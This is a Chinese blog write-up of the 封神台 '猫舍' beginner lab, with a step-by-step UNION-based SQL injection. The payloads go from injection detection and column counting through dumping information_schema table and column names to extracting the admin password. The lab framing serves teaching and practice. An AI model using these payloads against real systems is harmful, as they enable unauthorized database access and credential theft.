封神台----SQL注入基础(猫舍)

本文详细描述了一次通过SQL注入攻击获取管理员密码的实战过程,包括判断注入点、确定字段数量、回显点识别、查询数据库版本和表名,最终成功获取用户名和密码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

提示已经很明显了通过sql注入拿到管理员密码

点击传送门进来发现是一个很简陋的页面

点击查看试试看

我们可以看到地址栏后面变成了?id=1。说明和后台数据库有交互可以尝试sql注入。

第一步判断注入点

我们构造

?id=1 and 1=1和?id=1 and 1=2

前者是恒成立的所以不会报错,与后者比较。

我们可以看到当?id=1 and 1=1的时候页面正常,当?id=1 and 1=2时页面出现显示错误。由此得知可以进行sql注入。

第二步首先判断表格字段数

这里要使用oder by来判断字段数

构造

?id=1 and 1=1 order by 1

当数字小于字段数时回显正常,当数字大于字段数时显示错误

我们发现当?id=1 and 1=1 order by 2时回显正常?id=1 and 1=1 order by 3时回显错误。

说明有2个字段。

第三步判断回显点

当我们知道有两个字段数时,我们就可以判断回显点了。

?id=1 and 1=2 union select 1,2

使用该语句判断回显。

回显为2,可得2为回显位。

第四步查询数据库和版本号

?id=1 and 1=2 union select 1,database()
?id=1 and 1=2 union select 1,version()

可得数据库名maoshe版本号为5.5.53

第五步爆表

获得数据库名字后我们就可以获取表名了

?id=1 and 1=2 union select 1,group_concat(table_name)  from  information_schema.tables  where  table_schema='maoshe'  

我们爆出所有表名后发现有一张admin的表。题目提示我们通过sql注入获取管理员密码,推测在该表中。

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns  where  table_schema='maoshe'  and  table_name='adm

爆出admin表格下的所有字段。

发现有id,username,password三个字段推测正确。

第六步爆表的内容

?id=1 and 1=2 union select 1,username from admin  limit 0,1

查看账号

?id=1 and 1=2 union select 1,password from admin  limit 0,1

查询密码

查出密码为hellohack

完成!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值